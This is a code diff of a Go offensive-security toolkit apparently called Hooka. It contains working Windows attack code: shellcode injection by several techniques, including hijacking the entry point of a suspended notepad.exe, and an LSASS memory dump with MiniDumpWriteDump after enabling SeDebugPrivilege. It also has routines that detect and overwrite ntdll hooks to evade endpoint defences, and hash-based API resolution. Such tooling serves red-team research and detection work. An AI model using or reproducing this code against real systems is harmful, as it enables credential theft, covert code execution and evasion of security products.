|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
// Third-party
|
||||
"github.com/Binject/debug/pe"
|
||||
)
|
||||
|
||||
// Check if hash is a valid function and return its proc
|
||||
func FuncFromHash(hash string, dll string) (*windows.LazyProc, string, error) {
|
||||
dll_pe, err := pe.Open(dll) // Open and parse dll as a PE
|
||||
if err != nil {
|
||||
return new(windows.LazyProc), "", err
|
||||
}
|
||||
defer dll_pe.Close()
|
||||
|
||||
exports, err := dll_pe.Exports() // Get exported functions
|
||||
if err != nil {
|
||||
return new(windows.LazyProc), "", err
|
||||
}
|
||||
|
||||
for _, ex := range exports {
|
||||
if (StrToSha1(ex.Name) == hash) {
|
||||
return windows.NewLazyDLL(dll).NewProc(ex.Name), ex.Name, nil
|
||||
}
|
||||
}
|
||||
|
||||
return new(windows.LazyProc), "", errors.New("function not found!")
|
||||
}
|
||||
|
||||
// Convert string to sha1
|
||||
func HashFromFunc(funcname string) (string) {
|
||||
return StrToSha1(funcname)
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,77 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
|
||||
This package provides a function to detect Windows API hooked functions (e.g. CreateRemoteThread)
|
||||
|
||||
References:
|
||||
https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions
|
||||
https://github.com/C-Sto/BananaPhone
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"errors"
|
||||
"strings"
|
||||
|
||||
// Third-party packages
|
||||
"github.com/Binject/debug/pe"
|
||||
)
|
||||
|
||||
func DetectHooks() ([]string, error) {
|
||||
var hooked_functions []string
|
||||
|
||||
ntdll_pe, err := pe.Open(ntdllpath) // Open and parse ntdll.dll as a PE
|
||||
if err != nil {
|
||||
return hooked_functions, err
|
||||
}
|
||||
defer ntdll_pe.Close()
|
||||
|
||||
exports, err := ntdll_pe.Exports() // Get exported functions
|
||||
if err != nil {
|
||||
return hooked_functions, err
|
||||
}
|
||||
|
||||
for _, exp := range exports { // Iterate over them
|
||||
offset := RvaToOffset(ntdll_pe, exp.VirtualAddress) // Get RVA offset
|
||||
bBytes, err := ntdll_pe.Bytes() // Get bytes from ntdll.dll
|
||||
if err != nil {
|
||||
return hooked_functions, err
|
||||
}
|
||||
|
||||
buff := bBytes[offset : offset+10]
|
||||
_, err = CheckBytes(buff) // Get syscall ID (if function is hooked it returns a custom error)
|
||||
var hook_err MayBeHookedError
|
||||
|
||||
if (len(exp.Name) > 3) { // Avoid errors by checking function name length
|
||||
if exp.Name[0:2] == "Nt" || exp.Name[0:2] == "Zw" { // Just use functions which start by "Nt" or "Zw"
|
||||
if errors.As(err, &hook_err) == false { // Check error
|
||||
/*if bytes.HasPrefix(buff, []byte{0xE9}) == false {
|
||||
fmt.Println(exp.Name)
|
||||
}*/
|
||||
hooked_functions = append(hooked_functions, exp.Name)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return hooked_functions, nil
|
||||
}
|
||||
|
||||
func IsHooked(funcname string) (bool, error) {
|
||||
all_hooks, err := DetectHooks()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
for _, h := range all_hooks {
|
||||
if (strings.ToLower(funcname) == strings.ToLower(h)) {
|
||||
return true, nil
|
||||
}
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,48 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var techniques = []string{"CreateRemoteThread", "Fibers", "CreateProcess", "EarlyBirdApc"}
|
||||
|
||||
func InjectWithTechnique(shellcode []byte, technique string) (error) {
|
||||
// Check especified injection technique
|
||||
if (strings.ToLower(technique) == "createremotethread") {
|
||||
err := CreateRemoteThread(shellcode)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
} else if (strings.ToLower(technique) == "fibers") {
|
||||
err := Fibers(shellcode)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
} else if (strings.ToLower(technique) == "createprocess") {
|
||||
err := CreateProcess(shellcode)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
} else if (strings.ToLower(technique) == "earlybirdapc") {
|
||||
err := EarlyBirdApc(shellcode)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
} else {
|
||||
rand_n := RandomInt(3, 0)
|
||||
fmt.Println("[*] Injecting shellcode using " + techniques[rand_n] + " function")
|
||||
err := InjectWithTechnique(shellcode, techniques[rand_n])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
+165
@@ -0,0 +1,165 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
|
||||
References:
|
||||
https://github.com/calebsargent/GoProcDump
|
||||
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
"os"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
mproc "github.com/D3Ext/maldev/process"
|
||||
)
|
||||
|
||||
func DumpLsass(output string) (error) {
|
||||
err := elevateProcessToken()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
all_lsass_pids, err := mproc.FindPidByName("lsass.exe")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
lsass_pid := all_lsass_pids[0]
|
||||
|
||||
//set up Win32 APIs
|
||||
var dbghelp = syscall.NewLazyDLL("Dbghelp.dll")
|
||||
var procMiniDumpWriteDump = dbghelp.NewProc("MiniDumpWriteDump")
|
||||
var kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||
var procOpenProcess = kernel32.NewProc("OpenProcess")
|
||||
var procCreateFileW = kernel32.NewProc("CreateFileW")
|
||||
|
||||
// error not handle because it's unstable
|
||||
processHandle, _, _ := procOpenProcess.Call(uintptr(0xFFFF), uintptr(1), uintptr(lsass_pid))
|
||||
|
||||
// Create memory dump
|
||||
os.Create(output)
|
||||
|
||||
path, _ := syscall.UTF16PtrFromString(output)
|
||||
fileHandle, _, _ := procCreateFileW.Call(
|
||||
uintptr(unsafe.Pointer(path)),
|
||||
syscall.GENERIC_WRITE,
|
||||
syscall.FILE_SHARE_READ|syscall.FILE_SHARE_WRITE,
|
||||
0,
|
||||
syscall.OPEN_EXISTING,
|
||||
syscall.FILE_ATTRIBUTE_NORMAL,
|
||||
0,
|
||||
)
|
||||
|
||||
ret, _, err := procMiniDumpWriteDump.Call(
|
||||
uintptr(processHandle),
|
||||
uintptr(lsass_pid),
|
||||
uintptr(fileHandle),
|
||||
0x00061907,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
if (ret == 0) {
|
||||
os.Remove(output)
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func elevateProcessToken() (error) {
|
||||
|
||||
//token elevation process sourced from
|
||||
//https://stackoverflow.com/questions/39595252/shutting-down-windows-using-golang-code
|
||||
|
||||
type Luid struct {
|
||||
lowPart uint32 // DWORD
|
||||
highPart int32 // long
|
||||
}
|
||||
|
||||
type LuidAndAttributes struct {
|
||||
luid Luid // LUID
|
||||
attributes uint32 // DWORD
|
||||
}
|
||||
|
||||
type TokenPrivileges struct {
|
||||
privilegeCount uint32 // DWORD
|
||||
privileges [1]LuidAndAttributes
|
||||
}
|
||||
|
||||
const SeDebugPrivilege = "SeDebugPrivilege"
|
||||
const tokenAdjustPrivileges = 0x0020
|
||||
const tokenQuery = 0x0008
|
||||
var hToken uintptr
|
||||
|
||||
user32 := syscall.MustLoadDLL("user32")
|
||||
defer user32.Release()
|
||||
|
||||
kernel32 := syscall.MustLoadDLL("kernel32")
|
||||
defer user32.Release()
|
||||
|
||||
advapi32 := syscall.MustLoadDLL("advapi32")
|
||||
defer advapi32.Release()
|
||||
|
||||
GetCurrentProcess := kernel32.MustFindProc("GetCurrentProcess")
|
||||
GetLastError := kernel32.MustFindProc("GetLastError")
|
||||
OpenProdcessToken := advapi32.MustFindProc("OpenProcessToken")
|
||||
LookupPrivilegeValue := advapi32.MustFindProc("LookupPrivilegeValueW")
|
||||
AdjustTokenPrivileges := advapi32.MustFindProc("AdjustTokenPrivileges")
|
||||
|
||||
currentProcess, _, _ := GetCurrentProcess.Call()
|
||||
|
||||
result, _, err := OpenProdcessToken.Call(
|
||||
currentProcess,
|
||||
tokenAdjustPrivileges|tokenQuery,
|
||||
uintptr(unsafe.Pointer(&hToken)),
|
||||
)
|
||||
|
||||
if result != 1 {
|
||||
return err
|
||||
}
|
||||
|
||||
var tkp TokenPrivileges
|
||||
|
||||
result, _, err = LookupPrivilegeValue.Call(
|
||||
uintptr(0),
|
||||
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(SeDebugPrivilege))),
|
||||
uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))),
|
||||
)
|
||||
|
||||
if result != 1 {
|
||||
return err
|
||||
}
|
||||
|
||||
const SePrivilegeEnabled uint32 = 0x00000002
|
||||
|
||||
tkp.privilegeCount = 1
|
||||
tkp.privileges[0].attributes = SePrivilegeEnabled
|
||||
|
||||
result, _, err = AdjustTokenPrivileges.Call(
|
||||
hToken,
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&tkp)),
|
||||
0,
|
||||
uintptr(0),
|
||||
0,
|
||||
)
|
||||
|
||||
if result != 1 {
|
||||
return err
|
||||
}
|
||||
|
||||
result, _, _ = GetLastError.Call()
|
||||
if result != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,301 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
|
||||
References:
|
||||
https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/CreateProcess/main.go
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"log"
|
||||
"syscall"
|
||||
"errors"
|
||||
"unsafe"
|
||||
|
||||
// Sub Repositories
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func CreateProcess(shellcode []byte) (error) {
|
||||
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazySystemDLL("ntdll.dll")
|
||||
|
||||
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
|
||||
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
|
||||
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
|
||||
|
||||
procInfo := &windows.ProcessInformation{}
|
||||
startupInfo := &windows.StartupInfo{
|
||||
Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
|
||||
}
|
||||
|
||||
errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"), syscall.StringToUTF16Ptr(""), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo)
|
||||
if errCreateProcess != nil {
|
||||
return errCreateProcess
|
||||
}
|
||||
|
||||
addr, _, _ := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
|
||||
|
||||
if addr == 0 {
|
||||
return errors.New("VirtualAllocEx failed and returned 0")
|
||||
}
|
||||
|
||||
// Write shellcode into child process memory
|
||||
WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
|
||||
|
||||
oldProtect := windows.PAGE_READWRITE
|
||||
VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
|
||||
type PEB struct {
|
||||
InheritedAddressSpace byte // BYTE 0
|
||||
ReadImageFileExecOptions byte // BYTE 1
|
||||
BeingDebugged byte // BYTE 2
|
||||
reserved2 [1]byte // BYTE 3
|
||||
Mutant uintptr // BYTE 4
|
||||
ImageBaseAddress uintptr // BYTE 8
|
||||
Ldr uintptr // PPEB_LDR_DATA
|
||||
ProcessParameters uintptr // PRTL_USER_PROCESS_PARAMETERS
|
||||
reserved4 [3]uintptr // PVOID
|
||||
AtlThunkSListPtr uintptr // PVOID
|
||||
reserved5 uintptr // PVOID
|
||||
reserved6 uint32 // ULONG
|
||||
reserved7 uintptr // PVOID
|
||||
reserved8 uint32 // ULONG
|
||||
AtlThunkSListPtr32 uint32 // ULONG
|
||||
reserved9 [45]uintptr // PVOID
|
||||
reserved10 [96]byte // BYTE
|
||||
PostProcessInitRoutine uintptr // PPS_POST_PROCESS_INIT_ROUTINE
|
||||
reserved11 [128]byte // BYTE
|
||||
reserved12 [1]uintptr // PVOID
|
||||
SessionId uint32 // ULONG
|
||||
}
|
||||
|
||||
// https://github.com/elastic/go-windows/blob/master/ntdll.go#L77
|
||||
type PROCESS_BASIC_INFORMATION struct {
|
||||
reserved1 uintptr // PVOID
|
||||
PebBaseAddress uintptr // PPEB
|
||||
reserved2 [2]uintptr // PVOID
|
||||
UniqueProcessId uintptr // ULONG_PTR
|
||||
InheritedFromUniqueProcessID uintptr // PVOID
|
||||
}
|
||||
|
||||
var processInformation PROCESS_BASIC_INFORMATION
|
||||
var returnLength uintptr
|
||||
ntStatus, _, _ := NtQueryInformationProcess.Call(uintptr(procInfo.Process), 0, uintptr(unsafe.Pointer(&processInformation)), unsafe.Sizeof(processInformation), returnLength)
|
||||
|
||||
if ntStatus != 0 {
|
||||
if ntStatus == 3221225476 {
|
||||
return errors.New("Error calling NtQueryInformationProcess: STATUS_INFO_LENGTH_MISMATCH") // 0xc0000004 (3221225476)
|
||||
}
|
||||
fmt.Println(fmt.Sprintf("[!] NtQueryInformationProcess returned NTSTATUS: %x(%d)", ntStatus, ntStatus))
|
||||
return errors.New("Error calling NtQueryInformationProcess")
|
||||
}
|
||||
|
||||
// Read from PEB base address to populate the PEB structure
|
||||
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
|
||||
|
||||
var peb PEB
|
||||
var readBytes int32
|
||||
|
||||
ReadProcessMemory.Call(uintptr(procInfo.Process), processInformation.PebBaseAddress, uintptr(unsafe.Pointer(&peb)), unsafe.Sizeof(peb), uintptr(unsafe.Pointer(&readBytes)))
|
||||
|
||||
// Read the child program's DOS header and validate it is a MZ executable
|
||||
type IMAGE_DOS_HEADER struct {
|
||||
Magic uint16 // USHORT Magic number
|
||||
Cblp uint16 // USHORT Bytes on last page of file
|
||||
Cp uint16 // USHORT Pages in file
|
||||
Crlc uint16 // USHORT Relocations
|
||||
Cparhdr uint16 // USHORT Size of header in paragraphs
|
||||
MinAlloc uint16 // USHORT Minimum extra paragraphs needed
|
||||
MaxAlloc uint16 // USHORT Maximum extra paragraphs needed
|
||||
SS uint16 // USHORT Initial (relative) SS value
|
||||
SP uint16 // USHORT Initial SP value
|
||||
CSum uint16 // USHORT Checksum
|
||||
IP uint16 // USHORT Initial IP value
|
||||
CS uint16 // USHORT Initial (relative) CS value
|
||||
LfaRlc uint16 // USHORT File address of relocation table
|
||||
Ovno uint16 // USHORT Overlay number
|
||||
Res [4]uint16 // USHORT Reserved words
|
||||
OEMID uint16 // USHORT OEM identifier (for e_oeminfo)
|
||||
OEMInfo uint16 // USHORT OEM information; e_oemid specific
|
||||
Res2 [10]uint16 // USHORT Reserved words
|
||||
LfaNew int32 // LONG File address of new exe header
|
||||
}
|
||||
|
||||
var dosHeader IMAGE_DOS_HEADER
|
||||
var readBytes2 int32
|
||||
|
||||
ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress, uintptr(unsafe.Pointer(&dosHeader)), unsafe.Sizeof(dosHeader), uintptr(unsafe.Pointer(&readBytes2)))
|
||||
|
||||
// 23117 is the LittleEndian unsigned base10 representation of MZ
|
||||
// 0x5a4d is the LittleEndian unsigned base16 represenation of MZ
|
||||
if dosHeader.Magic != 23117 {
|
||||
log.Fatal(fmt.Sprintf("[!]DOS image header magic string was not MZ"))
|
||||
}
|
||||
|
||||
// Read the child process's PE header signature to validate it is a PE
|
||||
var Signature uint32
|
||||
var readBytes3 int32
|
||||
|
||||
ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew), uintptr(unsafe.Pointer(&Signature)), unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&readBytes3)))
|
||||
|
||||
// 17744 is Little Endian Unsigned 32-bit integer in decimal for PE (null terminated)
|
||||
// 0x4550 is Little Endian Unsigned 32-bit integer in hex for PE (null terminated)
|
||||
if Signature != 17744 {
|
||||
return errors.New("PE Signature string was not PE")
|
||||
}
|
||||
|
||||
type IMAGE_FILE_HEADER struct {
|
||||
Machine uint16
|
||||
NumberOfSections uint16
|
||||
TimeDateStamp uint32
|
||||
PointerToSymbolTable uint32
|
||||
NumberOfSymbols uint32
|
||||
SizeOfOptionalHeader uint16
|
||||
Characteristics uint16
|
||||
}
|
||||
|
||||
var peHeader IMAGE_FILE_HEADER
|
||||
var readBytes4 int32
|
||||
|
||||
ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&peHeader)), unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&readBytes4)))
|
||||
|
||||
type IMAGE_OPTIONAL_HEADER64 struct {
|
||||
Magic uint16
|
||||
MajorLinkerVersion byte
|
||||
MinorLinkerVersion byte
|
||||
SizeOfCode uint32
|
||||
SizeOfInitializedData uint32
|
||||
SizeOfUninitializedData uint32
|
||||
AddressOfEntryPoint uint32
|
||||
BaseOfCode uint32
|
||||
ImageBase uint64
|
||||
SectionAlignment uint32
|
||||
FileAlignment uint32
|
||||
MajorOperatingSystemVersion uint16
|
||||
MinorOperatingSystemVersion uint16
|
||||
MajorImageVersion uint16
|
||||
MinorImageVersion uint16
|
||||
MajorSubsystemVersion uint16
|
||||
MinorSubsystemVersion uint16
|
||||
Win32VersionValue uint32
|
||||
SizeOfImage uint32
|
||||
SizeOfHeaders uint32
|
||||
CheckSum uint32
|
||||
Subsystem uint16
|
||||
DllCharacteristics uint16
|
||||
SizeOfStackReserve uint64
|
||||
SizeOfStackCommit uint64
|
||||
SizeOfHeapReserve uint64
|
||||
SizeOfHeapCommit uint64
|
||||
LoaderFlags uint32
|
||||
NumberOfRvaAndSizes uint32
|
||||
DataDirectory uintptr
|
||||
}
|
||||
|
||||
type IMAGE_OPTIONAL_HEADER32 struct {
|
||||
Magic uint16
|
||||
MajorLinkerVersion byte
|
||||
MinorLinkerVersion byte
|
||||
SizeOfCode uint32
|
||||
SizeOfInitializedData uint32
|
||||
SizeOfUninitializedData uint32
|
||||
AddressOfEntryPoint uint32
|
||||
BaseOfCode uint32
|
||||
BaseOfData uint32 // Different from 64 bit header
|
||||
ImageBase uint64
|
||||
SectionAlignment uint32
|
||||
FileAlignment uint32
|
||||
MajorOperatingSystemVersion uint16
|
||||
MinorOperatingSystemVersion uint16
|
||||
MajorImageVersion uint16
|
||||
MinorImageVersion uint16
|
||||
MajorSubsystemVersion uint16
|
||||
MinorSubsystemVersion uint16
|
||||
Win32VersionValue uint32
|
||||
SizeOfImage uint32
|
||||
SizeOfHeaders uint32
|
||||
CheckSum uint32
|
||||
Subsystem uint16
|
||||
DllCharacteristics uint16
|
||||
SizeOfStackReserve uint64
|
||||
SizeOfStackCommit uint64
|
||||
SizeOfHeapReserve uint64
|
||||
SizeOfHeapCommit uint64
|
||||
LoaderFlags uint32
|
||||
NumberOfRvaAndSizes uint32
|
||||
DataDirectory uintptr
|
||||
}
|
||||
|
||||
var optHeader64 IMAGE_OPTIONAL_HEADER64
|
||||
var optHeader32 IMAGE_OPTIONAL_HEADER32
|
||||
var readBytes5 int32
|
||||
|
||||
if peHeader.Machine == 34404 { // 0x8664
|
||||
ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader64)), unsafe.Sizeof(optHeader64), uintptr(unsafe.Pointer(&readBytes5)))
|
||||
} else if peHeader.Machine == 332 { // 0x14c
|
||||
ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader32)), unsafe.Sizeof(optHeader32), uintptr(unsafe.Pointer(&readBytes5)))
|
||||
} else {
|
||||
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
|
||||
}
|
||||
|
||||
// Overwrite the value at AddressofEntryPoint field with trampoline to load the shellcode address in RAX/EAX and jump to it
|
||||
var ep uintptr
|
||||
if peHeader.Machine == 34404 { // 0x8664 x64
|
||||
ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint)
|
||||
} else if peHeader.Machine == 332 { // 0x14c x86
|
||||
ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint)
|
||||
} else {
|
||||
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
|
||||
}
|
||||
|
||||
var epBuffer []byte
|
||||
var shellcodeAddressBuffer []byte
|
||||
if peHeader.Machine == 34404 { // 0x8664 x64
|
||||
epBuffer = append(epBuffer, byte(0x48))
|
||||
epBuffer = append(epBuffer, byte(0xb8))
|
||||
shellcodeAddressBuffer = make([]byte, 8) // 8 bytes for 64-bit address
|
||||
binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr))
|
||||
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
|
||||
} else if peHeader.Machine == 332 { // 0x14c x86
|
||||
epBuffer = append(epBuffer, byte(0xb8))
|
||||
shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address
|
||||
binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr))
|
||||
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
|
||||
} else {
|
||||
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
|
||||
}
|
||||
|
||||
// 0xff ; 0xe0 = jmp [r|e]ax
|
||||
epBuffer = append(epBuffer, byte(0xff))
|
||||
epBuffer = append(epBuffer, byte(0xe0))
|
||||
|
||||
WriteProcessMemory.Call(uintptr(procInfo.Process), ep, uintptr(unsafe.Pointer(&epBuffer[0])), uintptr(len(epBuffer)))
|
||||
|
||||
// Resume the child process
|
||||
_, errResumeThread := windows.ResumeThread(procInfo.Thread)
|
||||
if errResumeThread != nil {
|
||||
return errors.New(fmt.Sprintf("Error calling ResumeThread:\r\n%s", errResumeThread.Error()))
|
||||
}
|
||||
|
||||
// Close the handle to the child process
|
||||
errCloseProcHandle := windows.CloseHandle(procInfo.Process)
|
||||
if errCloseProcHandle != nil {
|
||||
return errors.New(fmt.Sprintf("Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error()))
|
||||
}
|
||||
|
||||
// Close the hand to the child process thread
|
||||
errCloseThreadHandle := windows.CloseHandle(procInfo.Thread)
|
||||
if errCloseThreadHandle != nil {
|
||||
return errors.New(fmt.Sprintf("Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error()))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
|
||||
References:
|
||||
https://github.com/RedLectroid/APIunhooker
|
||||
https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"unsafe"
|
||||
"syscall"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func Unhook(funcname string) (error) {
|
||||
|
||||
// Load DLL APIs
|
||||
k32 := syscall.NewLazyDLL("kernel32.dll")
|
||||
getCurrentProcess := k32.NewProc("GetCurrentProcess")
|
||||
getModuleHandle := k32.NewProc("GetModuleHandleW")
|
||||
getProcAddress := k32.NewProc("GetProcAddress")
|
||||
writeProcessMemory := k32.NewProc("WriteProcessMemory")
|
||||
|
||||
var assembly_bytes []byte
|
||||
|
||||
ntdll_lib, _ := syscall.LoadLibrary("C:\\Windows\\System32\\ntdll.dll")
|
||||
defer syscall.FreeLibrary(ntdll_lib)
|
||||
|
||||
procAddr, _ := syscall.GetProcAddress(ntdll_lib, funcname)
|
||||
|
||||
ptr_bytes := (*[1 << 30]byte)(unsafe.Pointer(procAddr))
|
||||
funcBytes := ptr_bytes[:5:5]
|
||||
|
||||
for i := 0; i < 5; i++ {
|
||||
assembly_bytes = append(assembly_bytes, funcBytes[i])
|
||||
}
|
||||
|
||||
ownHandle, _, _ := getCurrentProcess.Call()
|
||||
|
||||
ntdll_ptr, _ := windows.UTF16PtrFromString("ntdll.dll")
|
||||
moduleHandle, _, _ := getModuleHandle.Call(uintptr(unsafe.Pointer(ntdll_ptr)))
|
||||
|
||||
func_ptr, _ := windows.UTF16PtrFromString(funcname)
|
||||
procAddr2, _, _ := getProcAddress.Call(moduleHandle, uintptr(unsafe.Pointer(func_ptr)))
|
||||
|
||||
// Overwrite address with original function bytes
|
||||
writeProcessMemory.Call(ownHandle, procAddr2, uintptr(unsafe.Pointer(&assembly_bytes[0])), 5, uintptr(0))
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
module github.com/D3Ext/Hooka
|
||||
|
||||
go 1.19
|
||||
|
||||
require (
|
||||
github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee
|
||||
github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761
|
||||
golang.org/x/sys v0.3.0
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/D3Ext/maldev v0.1.3 // indirect
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
|
||||
github.com/briandowns/spinner v1.20.0 // indirect
|
||||
github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be // indirect
|
||||
github.com/fatih/color v1.13.0 // indirect
|
||||
github.com/mattn/go-colorable v0.1.9 // indirect
|
||||
github.com/mattn/go-isatty v0.0.14 // indirect
|
||||
golang.org/x/term v0.3.0 // indirect
|
||||
)
|
||||
@@ -0,0 +1,34 @@
|
||||
github.com/Binject/debug v0.0.0-20200830173345-f54480b6530f/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee h1:neBp9wDYVY4Uu1gGlrL+IL4JeZslz+hGEAjBXGAPWak=
|
||||
github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761 h1:0144WWUvo86bVDEkxb3vmM92DCEsrkSYSd5gV1YlGKE=
|
||||
github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761/go.mod h1:QsEPWHZooj8uXL2YEdpQX+hDr00Plw7myenTiduBHRA=
|
||||
github.com/D3Ext/maldev v0.1.3 h1:cn4TGdHpdUmjpNhLJ2/lpgU1TkJrEBVJGWcdgm7RQSg=
|
||||
github.com/D3Ext/maldev v0.1.3/go.mod h1:+ZMVJlimO5ROIg34U/QkhmIQa0dU7rzxbhkFMH/DADQ=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
|
||||
github.com/briandowns/spinner v1.20.0 h1:GQq1Yf1KyzYT8CY19GzWrDKP6hYOFB6J72Ks7d8aO1U=
|
||||
github.com/briandowns/spinner v1.20.0/go.mod h1:TcwZHb7Wb6vn/+bcVv1UXEzaA4pLS7yznHlkY/HzH44=
|
||||
github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be h1:J5BL2kskAlV9ckgEsNQXscjIaLiOYiZ75d4e94E6dcQ=
|
||||
github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be/go.mod h1:mk5IQ+Y0ZeO87b858TlA645sVcEcbiX6YqP98kt+7+w=
|
||||
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
|
||||
github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
|
||||
github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
|
||||
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
|
||||
